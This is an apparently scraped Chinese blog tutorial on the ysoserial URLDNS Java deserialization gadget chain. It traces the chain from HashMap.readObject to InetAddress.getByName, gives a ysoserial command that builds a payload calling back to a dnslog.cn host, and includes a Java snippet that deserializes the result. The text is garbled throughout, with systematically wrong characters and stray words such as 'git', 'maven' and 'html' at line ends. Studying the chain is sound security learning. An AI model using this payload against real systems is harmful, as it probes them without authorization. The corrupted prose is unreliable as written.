在学习Java的反序列化漏洞的时候,就不得不学习他的一个利用链。不少刚刚入门的对于利用链这个词可能比较陌生。那么这里先来了解一下Java反序列化和反序列化漏洞的一个产生。html
文章首发:Java安全之URLDNS链java
Java提供了一种对象序列化的机制,用一个字节序列表示一个对象,该字节包含对象的数据、对象的类型、对象的存储属性。字节序列写出到文件后,至关于能够持久报错了一个对象信息,这过程叫作序列化。序列化对象会经过ObjectOutputStream
的writeObject
方法将一个对象写入到文件中。git
而反序列化是使用了readObject
方法进行读取并还原成在序列化前的一个类。github
这一步骤并无什么安全问题,可是若是反序列化的数据是可控的状况下,那么咱们就能够从某个输入点,输入恶意代码,再去查找在哪一个点,咱们的输入会被一层一层的带去到咱们的触发点去,而这一步叫作寻找利用链的步骤。api
至于ysoserial就很少叙述了,自行百度。安全
ysoserial项目地址:ysoserialmaven
拉取项目源码,导入到IDEA中。ide
看到pom.xml知道该项目是个maven的项目,点击pom.xml 进行刷新,将缺乏的依赖给下载下来学习
下载完成,直到不爆红了后,就能够开始调试ysoserial了。测试
先来查找一下该程序的入口点,点开pom.xml搜索mainclass就能够找到入口点的类
ctrl+左键点击跟踪进去,运行测试一下。
运行发现爆了一些错误,这里是由于咱们并无去传入值。
点击Edit configurations,设置参数
再次运行就能够看到成功执行了。
这样咱们就获取到了一个序列化的数据。
咱们的ysoserial就能在idea里面去运行了。
URLDNS是ysoserial里面就简单的一条利用链,但URLDNS的利用效果是只能触发一次dns请求,而不能去执行命令。比较适用于漏洞验证这一块,并且URLDNS这条利用链并不依赖于第三方的类,而是JDK中内置的一些类和方法。
在一些漏洞利用没有回显的时候,咱们也可使用到该链来验证漏洞是否存在,好比shiro反序列化就是使用dnslog来验证漏洞是否存在,(盲猜的,并无去分析过,后面能够去分析一下)。
下面先来使用ysoserial的URLDNS
java -jar .\ysoserial.jar URLDNS "http://2mdw9p.dnslog.cn"
获得序列化后的数据,若是须要执行,咱们须要对其进行反序列化,这里先不执行。先来看看在ysoserial中,该数据是怎么获取的。
打开ysoserial/payloads/URLDNS.java
的源码
上面的注释也写明白了他的调用链
具体怎么执行的咱们还得去debug看。
触发点在hashmap的put方法,咱们在put地方打一个断点
来到hashmap的readobject中看到
这里使用了hash方法对key的值进行了处理,咱们来跟踪一下hash这个方法看看他具体的实现
这里的key的是java.net.URL的实例对象调用了key的hashcode。再跟进一下他的hashcode方法。
在hashcode方法中还调用了handler的hashcode。先来跟踪一下hanler
调用 URLStreamHandler 的hashcode。进行跟踪URLStreamHandler.hashcode。
跟进一下getProtocol方法
在jdk的api文档里面写着该方法是用来获取协议的名称的
回到刚刚的地方
再来跟踪一下getHostAddress
来到这里后,能够发现会调用getHost
、getByName
这两个方法。
JDKapi文档查看 InetAddress.getByName方法
该方法会使用远程请求,进行获取主机的ip,那么这时候就会触发一次请求,到了这里咱们的dnslog平台,就能够收到响应了。这就是这个URLDNS链的一个触发点。
HashMap.readObject() -> HashMap.putVal() -> HashMap.hash() -> URL.hashCode()->URLStreamHandler.hashCode().getHostAddress ->URLStreamHandler.hashCode().getHostAddress ->URLStreamHandler.hashCode().getHostAddress.InetAddress.getByName
下面来测试一下
import java.io.*; public class main { public static void main(String[] args) throws IOException, ClassNotFoundException { FileInputStream fis = new FileInputStream("out.bin"); ObjectInputStream bit = new ObjectInputStream(fis); bit.readObject(); } }
执行后再看咱们的dnslog平台
在URLDNS里面其实致使反序列化的根本缘由是由于hashmap重写了readobject反序列化方法,而重写后的readobject方法调用了putVal致使的一个利用链
https://www.cnblogs.com/kuaile1314/p/13690210.html https://www.cnblogs.com/ph4nt0mer/p/11994384.html https://www.cnblogs.com/v1ntlyn/p/13549991.html https://zhuanlan.zhihu.com/p/30045174 https://www.cnblogs.com/litlife/p/12596286.html
其实调试URLDNS这条链相对来讲是比较简单的,虽然前面也花了很多时间去摸索,参考了大量的文章。可是等明白了后,发现其实URLDNS链仍是比较简单的。